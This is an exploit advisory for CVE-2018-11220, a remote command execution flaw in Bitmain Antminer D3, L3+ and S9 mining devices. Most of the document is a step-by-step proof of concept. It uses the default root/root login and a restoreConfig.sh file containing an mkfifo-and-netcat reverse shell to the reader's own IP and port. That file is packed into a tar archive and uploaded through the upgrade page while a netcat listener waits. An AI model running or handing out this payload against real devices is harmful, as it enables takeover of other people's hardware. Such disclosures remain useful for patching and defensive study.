Bitmain Antminer D3/L3+/S9 - Remote Command Execution

# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage: https://www.bitmain.com/
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220

#Description

The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative
privileges.

#POC

Login on Antminer Configuration Portal (Default Credential: root/root)

1) Create a file named:

restoreConfig.sh

2) insert inside:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port
>/tmp/f

3) Generate archive by inserting the file created before:

Exploit.tar

4) Launch net cat and upload file:

nc -vv -l -p port

system --> upgrade --> upload archive